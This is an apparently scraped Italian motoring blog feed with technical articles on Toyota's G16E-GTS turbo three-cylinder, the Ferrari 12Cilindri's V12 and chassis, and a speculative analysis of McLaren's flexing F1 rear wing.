<p class="wp-block-paragraph">I pistoni e le bielle sono forgiati hanno la gonna che ha subito un trattamento superficiale a basso attrito ed il cuscinetto principale è stato ottimizzato per ridurre il rischio del funzionamento con carenza di olio evitando problemi di surriscaldamento. Il rapporto di compressione è piuttosto alto per un motore turbo da 10,5:1 a conferma della nota filosofia giapponese che vuole che prima venga progettato un ottimo motore aspirato per poi aggiungere la compressione del turbo. La distribuzione è a catena con il recupero del gioco idraulico. Il gruppo albero a camme di tipo cavo ha il raggio della camma leggermente concavo e il sistema di fasatura variabile VVT-i che va a sostituire il sistema VVL convenzionale.</p>



<p class="wp-block-paragraph">Il turbocompressore è di tipo single-scroll e per sua natura ideale per funzionale bene a regimi più elevati. La soluzione mono-condotto è stata adottata per la natura 3 cilindri del motore che male si adatta ad un propulsore con meno di quattro cilindri. Nonostante questo il ritardo di risposta è limitato al minimo poco ritardo di risposta. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="700" height="647" src="https://www.giornalemotori.com/wp-content/uploads//2024/11/gts_lub_layout.png" alt="gts lub layout" class="wp-image-144809" title="Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 162" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_lub_layout.png 700w, https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_lub_layout-300x277.png 300w, https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_lub_layout-696x643.png 696w" sizes="(max-width: 700px) 100vw, 700px" /><figcaption>Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 169</figcaption></figure>



<h2 class="wp-block-heading"><strong>Parte calda del turbo inserita nel collettore</strong></h2>



<p class="wp-block-paragraph">La soluzione scelta dai tecnici di Gazoo Racing integra la chiocciola del turbo nel collettore di scarico riducendo il peso, sfruttando al meglio l’energia del gas di scarico essendo più vicina alla valvola di scarico e con una migliore gestione anche del bypass della wastegate. Ciò riduce il ritardo del turbo consentendo di gestire meglio il riscaldamento del catalizzatore, fondamentale per rispettare le norme antinquinamento.</p>



<p class="wp-block-paragraph">L’intercooler è di tipo cross-flow che consente di ridurre le perdite a bassa pressione aumentando la sua capacità di raffreddamento. Le classiche boccole della girante sono state sostituite da cuscinetti a sfera per migliorare l&#8217;efficienza contribuendo alla miglioramento della risposta riducendo l&#8217;inerzia, così come è stata spostata la posizione della valvola Westgate per agevolarne il funzionamento. </p>



<h2 class="wp-block-heading"><strong>Raffreddamento potenziato </strong></h2>



<p class="wp-block-paragraph">Il sistema di raffreddamento sfrutta una soluzione con due camicie per il passaggio del liquido all&#8217;interno della testa. Il radiatore dell’olio è raffreddato ad acqua ed è in alluminio per migliorare lo scambio termico e l’efficienza. L&#8217;unità è installata a monte rispetto al filtro dell&#8217;olio per evitare il grippaggio dei cuscinetti dovuto a detriti nell&#8217;olio. Per una maggiore affidabilità sono stati installati anche nove spruzzatori per gestire il carico di raffreddamento aggiuntivo. Inoltre, è stata aggiunta una pompa dell&#8217;acqua di grande capacità azionata a cinghia.</p>



<p class="wp-block-paragraph">L’iniezione diretta ha un sistema D4-S ad alta pressione 220 bar per ottimizzare la combustione con uno spruzzo più fine tramite una serie di iniettori ad ugello lungo con dieci fori. Il condotto di passaggio della benzina viene lavorato finemente per ridurre l&#8217;aderenza del carburante lungo le pareti dello stesso. Il flusso della miscela crea una turbolenza che consente di evitare l’interferenza della valvola di aspirazione con la miscela che rimane concentrata nella zona della candela conservando ottime prestazioni con emissioni ridotte.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="960" height="734" src="https://www.giornalemotori.com/wp-content/uploads//2024/11/100-horsepower-per-piston-the-3-cylinder-toyota-g16e-gts-explained-2023-12-31_00-18-55_179551-960x734-1.jpg" alt="100 horsepower per piston the 3 cylinder toyota g16e gts explained 2023 12 31 00 18 55 179551 960x734 1" class="wp-image-144807" title="Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 163" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/11/100-horsepower-per-piston-the-3-cylinder-toyota-g16e-gts-explained-2023-12-31_00-18-55_179551-960x734-1.jpg 960w, https://www.giornalemotori.com/wp-content/uploads/2024/11/100-horsepower-per-piston-the-3-cylinder-toyota-g16e-gts-explained-2023-12-31_00-18-55_179551-960x734-1-768x587.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/11/100-horsepower-per-piston-the-3-cylinder-toyota-g16e-gts-explained-2023-12-31_00-18-55_179551-960x734-1-300x229.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/11/100-horsepower-per-piston-the-3-cylinder-toyota-g16e-gts-explained-2023-12-31_00-18-55_179551-960x734-1-696x532.jpg 696w" sizes="(max-width: 960px) 100vw, 960px" /><figcaption>Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 170</figcaption></figure>



<h2 class="wp-block-heading"><strong>Elettronica di gestione derivata dai rally</strong></h2>



<p class="wp-block-paragraph">Toyota sostiene che ogni parte del cablaggio elettrico ed elettronico della gestione del motore posizionato nella zona calda è stato progettato tenendo a mente le temperature delle gare di rally e le esigenze di massime prestazioni in modo prolungato. I condotti di aspirazione sono stati lucidati mediante lavorazione di precisione con centri di lavoro CNC con gli angoli delle valvole aumentati e sedi eccentriche e quelle di scarico di maggiori dimensioni con stelo ad anima di sodio. Il collettore è progettato a flusso fisso per ridurre la contropressione. </p>



<p class="wp-block-paragraph">Lo spostamento della batteria nella parte posteriore dell’auto ha consentito di ottenere un sistema di induzione dell&#8217;aria molto più grande riducendo le perdite di bassa pressione con una capacità massima di 10,8 litri di aria. Il filtro stesso è formato di fogli di carta con struttura in fibre ultra-fini per impedire anche a minuscole particelle e detriti di rovinare la festa. Un ulteriore &#8220;filtro hydro-lock&#8221; funge da controllo di sicurezza della separazione aria-liquido derivato direttamente dal mondo rally.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="700" height="524" src="https://www.giornalemotori.com/wp-content/uploads//2024/11/gts_mech_balance.png" alt="gts mech balance" class="wp-image-144811" title="Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 164" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_mech_balance.png 700w, https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_mech_balance-300x225.png 300w, https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_mech_balance-696x521.png 696w, https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_mech_balance-265x198.png 265w" sizes="(max-width: 700px) 100vw, 700px" /><figcaption>Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 171</figcaption></figure>



<h2 class="wp-block-heading"><strong>Supporti al telaio ottimizzati per limitare le vibrazioni </strong></h2>



<p class="wp-block-paragraph">L’ancoraggio al telaio adotta un supporto di tipo idraulico che aiuta a compensare gli sforzi con partenza da fermo alla massima accelerazione. La nuova molla in gomma più rigida riduce le vibrazioni in modo considerevole diminuendo la tendenza al rollio del motore durante il massimo sforzo.</p>



<p class="wp-block-paragraph">Inoltre, sono state adottate due barre di torsione in alluminio per fungere da supporti strutturalmente solidi migliorando la rigidità riducendo il peso rispetto ad un supporto classico. Uno degli effetti positivi è lo spostamento all’indietro del motore nel vano motore, contribuendo migliorando la distribuzione del peso, con una migliore posizione del baricentro dell’auto.</p>



<p class="wp-block-paragraph">Il risultato sono prestazioni di assoluto rilievo per la Toyota Corolla GR 1.6 Turbo da 305cv con un accelerazione sullo 0-100km/h in 5.2s, per una ripresa 80-120km/h in 4.3s. </p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<div class="youtube-embed" data-video_id="Z5Lp8fiHpA0"><iframe loading="lazy" title="GR Corolla (North America specifications, prototype)" width="696" height="392" src="https://www.youtube.com/embed/Z5Lp8fiHpA0?feature=oembed&#038;enablejsapi=1" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
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<h2 class="wp-block-heading alignwide" id="we-re-a-studio-in-berlin-with-an-international-practice-in-architecture-urban-planning-and-interior-design-we-believe-in-sharing-knowledge-and-promoting-dialogue-to-increase-the-creative-potential-of-collaboration" style="font-size:48px;line-height:1.1"><strong>In collaborazione con <a href="https://tmotor.toyota.it/" target="_blank" rel="noopener">Toyota T-Motor &#8211; Bologna-Modena-Imola</a></strong></h2>



<p class="wp-block-paragraph"></p>



<figure class="wp-block-image size-full"><img decoding="async" width="359" height="359" src="https://www.giornalemotori.com/wp-content/uploads//2024/11/277137721_3166192336999898_4282735678014108701_n.jpg" alt="277137721 3166192336999898 4282735678014108701 n" class="wp-image-144812" title="Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 165" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/11/277137721_3166192336999898_4282735678014108701_n.jpg 359w, https://www.giornalemotori.com/wp-content/uploads/2024/11/277137721_3166192336999898_4282735678014108701_n-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2024/11/277137721_3166192336999898_4282735678014108701_n-300x300.jpg 300w" sizes="(max-width: 359px) 100vw, 359px" /><figcaption>Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 172</figcaption></figure>
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		<title>Best Car: Ferrari V12, con l&#8217;evoluzione del F140DH da 830cv aspirato</title>
		<link>https://www.giornalemotori.com/2024/10/25/best-car-ferrari-v12-con-levoluzione-del-f140dh-da-830cv-aspirato/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-car-ferrari-v12-con-levoluzione-del-f140dh-da-830cv-aspirato</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 25 Oct 2024 17:02:28 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>C&#8217;è un unico elemento che dal 1947 rappresenta l’anima della Ferrari, il motore V12 aspirato, meglio ancora se montato in posizione centrale-anteriore.  La Ferrari12Cilindri è l&#8217;ultima evoluzione di questa filosofia che nel corso dei decenni ha continuato a svilupparsi senza mai allontanarsi dal suo DNA originale ma soprattutto dai valori fondamentali del marchio. La Ferrari [&#8230;]</p>
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<p class="wp-block-paragraph">C&#8217;è un unico elemento che dal 1947 rappresenta l’anima della Ferrari, il motore V12 aspirato, meglio ancora se montato in posizione centrale-anteriore.  La Ferrari12Cilindri è l&#8217;ultima evoluzione di questa filosofia che nel corso dei decenni ha continuato a svilupparsi senza mai allontanarsi dal suo DNA originale ma soprattutto dai valori fondamentali del marchio.</p>



<p class="wp-block-paragraph">La Ferrari 12Cilindri si ispira alle Gran Turismo degli anni &#8217;50 e &#8217;60 con motore anteriore ed abitacolo a due posti. La sua silhouette trasuda sportività e classe attraverso linee semplici ma armoniose con un dispositivo aerodinamico attivo che garantisce stabilità ed un cofano allungato che esalta la vista del vano motore per finire ai classici doppi terminali di scarico dal sound inimitabile.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="856" src="https://www.giornalemotori.com/wp-content/uploads//2024/10/3-1-1024x856.jpg" alt="3 1" class="wp-image-142700" title="Best Car: Ferrari V12, con l&#039;evoluzione del F140DH da 830cv aspirato 173" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/10/3-1-1024x856.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2024/10/3-1-768x642.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/10/3-1-300x251.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/10/3-1-696x582.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2024/10/3-1-scaled.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Car: Ferrari V12, con l'evoluzione del F140DH da 830cv aspirato 177</figcaption></figure>



<h2 class="wp-block-heading"><strong>V12 F140HD,</strong> <strong>830cv aspirato </strong></h2>



<p class="wp-block-paragraph">Il motore e l&#8217;ultima evoluzione del V12 di Maranello denominato F140HD in grado di erogare 830 cv a 9500 giri/min con una coppia massima di 678 Nm a 7250 giri/min, con il limitatore posto a 9500 giri/min e rapporto di compressione di 13,5:1. La Potenza specifica è di 128 cv/l, ma nonostante i numeri da capogiro l&#8217;80% la gran parte della coppia è già disponibile a soli 2500 giri/min, per una risposta istantanea dell&#8217;acceleratore con un allungo pressappoco infinito fino alla zona rossa. Le prestazioni dichiarano una velocità massima di 340 km/h, lo scatto sullo 0-100 km/h in 2,9 s mentre il passaggio da 0-200 km/h avviene in 7,9s</p>



<p class="wp-block-paragraph">Questo propulsore adotta componenti e software modificati alcuni dei quali già adottati sulla serie speciale 812 Competizione. I tecnici di Maranello hanno lavorato per ridurre il peso e l&#8217;inerzia dei componenti in movimento adottando bielle in titanio con un peso ridotto del 40% a parità di resistenza meccanica, mentre i pistoni sono in lega di alluminio alleggeriti ed infine, l’albero motore è stato modificato alleggerito del 3% e riequilibrato per migliorare la reattività.</p>



<h2 class="wp-block-heading"><strong>Nuova distribuzione e collettori di aspirazione</strong></h2>



<p class="wp-block-paragraph">Il sistema di distribuzione con bilancieri a dito scorrevoli deriva dai motori Ferrari di Formula 1 riducendo la massa degli elementi che compongono il sistema. Il bilanciere a dito scorrevole è in acciaio con rivestimento Diamond-Like-Carbon (DLC) consentendo di trasmettere l&#8217;azione della camma utilizzando una punteria idraulica come perno per il movimento. L’uso di questa tecnologica di rivestimento riduce il coefficiente di attrito nei punti critici, migliorando significativamente l&#8217;efficienza meccanica del motore.</p>



<p class="wp-block-paragraph"> Il layout dei collettori di aspirazione ha visto una riduzione della lunghezza adottando un sistema a geometria variabile in modo continuato per massimizzare il carico dinamico nel cilindro. Per la prima volta, in assoluto, è stata sviluppata un&#8217;innovativa strategia software in grado di modificare la coppia massima disponibile in funzione della marcia selezionata consentendo una ripresa sempre fluida e progressiva all&#8217;aumentare del rapporto di trasmissione ma senza perdere un briciolo delle prestazioni dell&#8217;auto. L&#8217;innovativo Aspirated Torque Shaping (ATS) ha permesso ottenere una curva di coppia ottimizzata per la terza e quarta marcia migliorando il controllo e l&#8217;erogazione di potenza senza a tutto a vantaggio del piacere di guida e della sicurezza anche dei neofiti. Ciò ha necessitato anche di introdurre rapporti ci trasmissioni adatte allo sfruttamento ottimale del sistema di controllo. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="533" src="https://www.giornalemotori.com/wp-content/uploads//2024/10/al_Ferrari-Daytona-SP3-EnginePE9.jpg" alt="al Ferrari Daytona SP3 EnginePE9" class="wp-image-142701" title="Best Car: Ferrari V12, con l&#039;evoluzione del F140DH da 830cv aspirato 174" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/10/al_Ferrari-Daytona-SP3-EnginePE9.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2024/10/al_Ferrari-Daytona-SP3-EnginePE9-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/10/al_Ferrari-Daytona-SP3-EnginePE9-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/10/al_Ferrari-Daytona-SP3-EnginePE9-696x464.jpg 696w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption>Best Car: Ferrari V12, con l'evoluzione del F140DH da 830cv aspirato 178</figcaption></figure>



<h2 class="wp-block-heading"><strong>Lubrificazione a portata variabile </strong></h2>



<p class="wp-block-paragraph">La lubrificazione è a carter secco ma è dotato di una nuova calibrazione della pompa dell&#8217;olio a cilindrata variabile per consentire all&#8217;olio di circolare in tutto il motore recuperando i vapori dalla coppa. Una valvola solenoide, controllata dalla centralina, viene utilizzata per controllare la cilindrata della pompa variando giri e pressione, erogando solo la quantità di olio necessaria con un risparmio notevole quantità di energia. La nuova configurazione del serbatoio dell&#8217;olio, e del circuito idraulico della pompa, riduce al minimo le perdite ottimizzando la funzionalità in tutte le condizioni operative.</p>



<p class="wp-block-paragraph">L’iniezione diretta di benzina (GDI a 350 bar) comprende due pompe e quattro rail con sensori di pressione che forniscono il feedback al sistema di controllo della pressione controllando fino a tre iniezioni per ciclo motore. Il sistema di accensione è costantemente monitorato dalla centralina motore con la possibilità di scintilla singola e multipla. La centralina controlla anche la combustione nella camera garantendo al motore consentendo un funzionamento sempre in condizioni di massima efficienza termodinamica grazie ad un strategia sofisticata che riconosce il numero di ottano del carburante per evitare il battito in testa.</p>



<h2 class="wp-block-heading"><strong>Rispetta le severe norme antinquinamento </strong></h2>



<p class="wp-block-paragraph">Il nuovo scarico consente di rispettare i più recenti requisiti sulle emissioni (EU6E, China6B e BIN50) grazie ad un convertitore catalitico ceramico abbinato a un filtro antiparticolato ottimizzato per offrire un ottimo sound. I condotti con collettore 6 in 1 per ogni bancata di cilindri hanno un innovativo design delle sezioni centrali che comprende tutti gli ordini nobili di combustione. La perfetta calibrazione delle alte e basse frequenze provenienti dai sistemi di aspirazione e scarico influenzano anche la timbrica del motore. La forma dei condotti e la fluidodinamica interna dei deflettori del silenziatore è stata progettata per ridurre al minimo la contropressione, migliorando così l&#8217;erogazione di potenza. </p>



<p class="wp-block-paragraph">La Ferrari 12Cilindri sfoggia il cambio DCT (Dual Clutch Transmission) a 8 rapporti. Le ruote 21&#8243; ha consentito di avere rapporti di trasmissione più corti del 5% nelle marce basse e un aumento del 12% della coppia rispetto ai precedenti V12, il tutto a vantaggio dell’accelerazione e dei tempi di cambiata più rapidi del 30% rispetto alle precedenti V12. L&#8217;introduzione dell&#8217;ottava marcia migliora il consumo in autostrada migliorando l&#8217;efficienza in tutte le marce.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="533" src="https://www.giornalemotori.com/wp-content/uploads//2024/10/al_Ferrari-Daytona-SP3-EnginePE11.jpg" alt="al Ferrari Daytona SP3 EnginePE11" class="wp-image-142702" title="Best Car: Ferrari V12, con l&#039;evoluzione del F140DH da 830cv aspirato 175" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/10/al_Ferrari-Daytona-SP3-EnginePE11.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2024/10/al_Ferrari-Daytona-SP3-EnginePE11-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/10/al_Ferrari-Daytona-SP3-EnginePE11-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/10/al_Ferrari-Daytona-SP3-EnginePE11-696x464.jpg 696w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption>Best Car: Ferrari V12, con l'evoluzione del F140DH da 830cv aspirato 179</figcaption></figure>



<h2 class="wp-block-heading"><strong>DINAMICA DEL VEICOLO</strong></h2>



<p class="wp-block-paragraph">La Ferrari 12Cilindri vanta lo stato dell&#8217;arte nei controlli dinamici elettronici. L&#8217;introduzione del brake-by-wire tra cui l&#8217;ABS Evo e il sensore 6D garantiscono la massima precisione per il lavoro dei sistemi Virtual Short Wheelbase (PCV) 3.0 e Side Slip Control (SSC) 8.0 con spazi di frenata ridotti e una ripetibilità della frenata più accurata. L&#8217;Aspirated Torque Shaping ha una logica di controllo che enfatizza l&#8217;erogazione fluida e lineare della potenza grazie al controllo elettronico.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<div class="youtube-embed" data-video_id="DdflxSmUD00"><iframe loading="lazy" title="Welcome the Ferrari 12Cilindri" width="696" height="392" src="https://www.youtube.com/embed/DdflxSmUD00?feature=oembed&#038;enablejsapi=1" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
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<p class="wp-block-paragraph">L&#8217;SSC 8.0 è una nuova evoluzione che consente ai sistemi di dialogare tra loro utilizzando un linguaggio condiviso che calcola la modalità di funzionamento ottimale per ciascuno di essi. Questo sistema integra i controller e crea una sinergia naturale con il nuovo ABS Evo. La sua ottimizzazione ha migliorato ulteriormente l&#8217;accuratezza della velocità di apprendimento, incrementandola del +10% ottimizzando il controllo su superfici a bassissima aderenza. Alla stima dell&#8217;aderenza si affianca il contributo della logica di funzionamento che utilizza le informazioni provenienti dalla CPU EPS e l&#8217;angolo di deriva stimato dall&#8217;SSC 8.0 stiando il livello di aderenza pneumatico-strada anche in fase di sterzata sia un condizioni di utilizzo normale che al limite, rendendo più rapido l&#8217;apprendimento da parte del sistema dei livelli di aderenza reali.</p>



<h2 class="wp-block-heading"><strong>Quattro ruote sterzanti </strong></h2>



<p class="wp-block-paragraph">Lo sterzo indipendente a quattro ruote (4WS) gestisce il movimento di ogni ruota in modo indipendente migliorando la gestione dell&#8217;imbardata in curva e la reattività nei rapidi cambi di direzione. Lo sterzo posteriore presenta caratteristiche innovative migliorando la precisione del controllo in base alla posizione di ogni singolo attuatore, garantendo tempi di risposta più rapidi ed una migliore reattività in curva. La maneggevolezza è garantita da una distribuzione dei pesi pressoché del 48,4% anteriore e 51,6% posteriore con una reattività migliorata grazie alla riduzione di 20 mm del passo.</p>



<p class="wp-block-paragraph">Gli pneumatici sono Michelin Pilot Sport S5 o in alternativa Goodyear Eagle F1 Supersport sviluppati nella misura dedicata di 275/35ZR21 all&#8217;anteriore e 315/35ZR21 al posteriore. Le prestazioni sono state ottimizzate grazie all&#8217;adozione delle ultime tecnologie per le mescole, con nuovi concetti di progettazione del battistrada e caratteristiche della carcassa con una riduzione del 10% della resistenza al rotolamento.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2024/10/Ferrari-12Cilindri-2025-1280-642cd9ea46cbca0e9c19bf30a06330a734-1024x768.jpg" alt="Ferrari 12Cilindri 2025 1280 642cd9ea46cbca0e9c19bf30a06330a734" class="wp-image-142703" title="Best Car: Ferrari V12, con l&#039;evoluzione del F140DH da 830cv aspirato 176" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/10/Ferrari-12Cilindri-2025-1280-642cd9ea46cbca0e9c19bf30a06330a734-1024x768.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2024/10/Ferrari-12Cilindri-2025-1280-642cd9ea46cbca0e9c19bf30a06330a734-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/10/Ferrari-12Cilindri-2025-1280-642cd9ea46cbca0e9c19bf30a06330a734-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/10/Ferrari-12Cilindri-2025-1280-642cd9ea46cbca0e9c19bf30a06330a734-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2024/10/Ferrari-12Cilindri-2025-1280-642cd9ea46cbca0e9c19bf30a06330a734-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2024/10/Ferrari-12Cilindri-2025-1280-642cd9ea46cbca0e9c19bf30a06330a734-scaled.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Car: Ferrari V12, con l'evoluzione del F140DH da 830cv aspirato 180</figcaption></figure>



<h2 class="wp-block-heading"><strong>TELAIO</strong></h2>



<p class="wp-block-paragraph">Il telaio in alluminio è caratterizzato dal passo ridotto di 20 mm rispetto a quello della 812 Superfast modificando la geometria di componenti fusi, come i montanti degli ammortizzatori migliorando la rigidità torsionale riducendo al contempo il peso. Il nuovo telaio ha permesso di migliorare la rigidità senza aumentare il peso rispetto con un aumento del 15% della rigidità torsionale assicurando un comportamento dinamico più prevedibile. Infine, grazie a un uso più esteso di fusioni, il numero di componenti estrusi che richiedono l&#8217;assemblaggio è stato notevolmente ridotto, rendendo il processo di assemblaggio più efficiente.</p>



<p class="wp-block-paragraph">Per la prima volta è stata utilizzata una lega secondaria con materiale riciclato al 100% per realizzare le torri ammortizzatori del sotto-telaio del cambio con una riduzione di 146 kg di CO2 per ogni vettura prodotta garantendo le stesse caratteristiche meccaniche della lega non riciclata, sfruttando le differenze di composizione chimica.</p>



<h2 class="wp-block-heading"><strong>MANUTENZIONE 7 ANNI</strong></h2>



<p class="wp-block-paragraph">Gli ineguagliabili standard qualitativi della Ferrari e la crescente attenzione al servizio clienti sono alla base del programma di manutenzione esteso di sette anni offerto con la Ferrari 12Cilindri. Il programma copre tutta la manutenzione ordinaria per i primi sette anni di vita della vettura. La manutenzione programmata è un servizio esclusivo che offre ai clienti la certezza che la loro auto verrà mantenuta al massimo delle prestazioni e della sicurezza nel corso degli anni. Questo servizio è disponibile anche per i proprietari che acquistano Ferrari usate.</p>
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		<title>F1: Analisi tecnica ala mobile McLaren, forse c&#8217;è di più di una semplice fessura per il passaggio dell&#8217;aria!</title>
		<link>https://www.giornalemotori.com/2024/09/18/f1-analisi-tecnica-ala-mobile-mclaren-forse-ce-di-piu-di-una-semplice-fessura-per-il-passaggio-dellaria/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=f1-analisi-tecnica-ala-mobile-mclaren-forse-ce-di-piu-di-una-semplice-fessura-per-il-passaggio-dellaria</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 18 Sep 2024 10:23:36 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Parliamoci chiaro, se Leclerc non fosse stato per più di mezza gara appiccicato, inutilmente, alla McLaren di Piastri, non avrebbe costretto regia internazionale ad inquadrare fisso la monoposto papaya, mostrando il movimento del profilo alare della discordia. A questo punto il segreto di Pulcinella è venuto a galla. La McLaren, infatti utilizza questo tipo di [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Parliamoci chiaro, se Leclerc non fosse stato per più di mezza gara appiccicato, inutilmente, alla McLaren di Piastri, non avrebbe costretto  regia internazionale ad inquadrare fisso la monoposto papaya, mostrando il movimento del profilo alare della discordia. A questo punto il segreto di Pulcinella è venuto a galla. La McLaren, infatti utilizza questo tipo di ala da ben prima, solo che non c’era mai una prova così lampante, nemmeno quando hanno dominato in Olanda. Analizzando la questione, dopo le ipotesi messe in campo da tutti, dai cronisti, fino all&#8217;ultimo Tic Toker proviamo ad andare oltre analizzando altre implicazioni tecniche del movimento di quell&#8217;ala. </p>



<p class="wp-block-paragraph">Innanzitutto la  premessa. La McLaren è legale, perché rispetta la norma che la Fia usa per il controllo delle ali flessibili. Si potrebbe comunque dire che tale rispetto va in contrasto con la norma regolamentare per la progettazione e l’uso del sistema DRS che impone al profilo alare mobile nessun movimento se non viene azionato meccanicamente.</p>



<p class="wp-block-paragraph">Detto, questo, lasciando la questione alla politica, il nostro obiettivo è quello di mettere in evidenza un aspetto secondario del comportamento dell’ala McLaren che se confermato potrebbe diventare importantissimo. Dalle immagini, il profilo alare si alza ad una certa velocità lasciando una luce di passaggio dell’aria che non dovrebbe esserci. Nonostante questo, quella fessura non è sufficiente a garantire una velocità massima come quella che aveva Piastri in rettilineo. Il povero Leclerc alle sue spalle aveva l&#8217;ala completamente aperta con una superfice di passaggio dell’aria molto maggiore rispetto alla fessura lasciata aperta dalla McLaren davanti. </p>



<p class="wp-block-paragraph">Questa fessura, invece, per quanto piccola cambia il passaggio dell’aria nella zona inferiore del profilo alare. In Gran Bretagna hanno Adrin Newey, e senza togliere nulla al geniale progettista britannico, in Italia abbiamo il luminare della progettazione di un profilo alare, un certo Ing Enrico Benzing ed il suo libro “WING”. In questo libro si comprende come un profilo alare funziona generando carico con una determinata forma e caratteristica geometrica. Questo concetto vale soprattutto per un profilo alare Bi-Plano dove le due ali consecutive hanno una funzione unica per generare carico.</p>



<p class="wp-block-paragraph">La fessura che si apre aumenta il passaggio dell’aria cambiando la velocità inferiore del secondo profilo cambiando le condizioni di funzionamento dell’ala piccola. In sostanza, si può anche generare una condizione tale per cui ci può essere uno stallo della seconda ala.</p>



<p class="wp-block-paragraph">La nostra ipotesi, è che i tecnici McLaren hanno trovato un modo, non per usare il DRS anche quando l’ala è chiusa, ma addirittura per creare un effetto&nbsp;F-DUCT facendo stallare l’ala piccola. Per i più giovani, o chi non mastica tecnica di F1, L&#8217;F-DUCT è un sistema&nbsp;introdotto da McLaren nel 2010&nbsp;per ridurre la resistenza all’avanzamento dell’ala posteriore. Esso permetteva di alterare i flussi che arrivavano su questo elemento, tramite un tubo posto tra abitacolo e muso. Questo sarebbe servito a soffiare aria verso il fondo della vettura. In particolare, attraverso altre deviazioni si consentiva al pilota di azionare manualmente il sistema attivando i condotti che causavano lo stallo dell&#8217;ala posteriore, con un conseguente aumento della velocità massima in rettilineo.</p>



<p class="wp-block-paragraph">Questa condizione di stallo, può essere indotta anche cambiano le condizioni dei flussi aria che investono il secondo profilo provocandone di fatto lo stallo. In questo modo il vantaggio che aveva Piastri in rettilineo ad ala chiusa è quasi pari a quanto ottenuto con ala aperta per DRS attivo. Abbiamo detto quasi, per il fatto che non avendo sollevato il profilo alare questo resta abbassato senza generare carico ma generando comunque una certa resistenza per incidenza dell’ala. Non si tratta di un profilo neutro, ed anche senza generare carico oppone resistenza per il suo angolo rispetto al piano di riferimento.</p>



<p class="wp-block-paragraph">A questo punto potrebbe anche essere logico che i team protestino come successo per altre soluzioni usate dai team in passato, ma è anche possibile che stiano lavorando per copiare questa soluzione. Prima di attaccare una regola, meglio capire se si può usare a proprio favore e nel caso non si riesce, o non funziona allo stesso modo, si attacca chi la usa con il proprio peso politico. Quindi indipendentemente dalle letture tecniche sul funzionamento del sistema, compresa la nostra non è previsto che la McLaren smetta di usarla. </p>
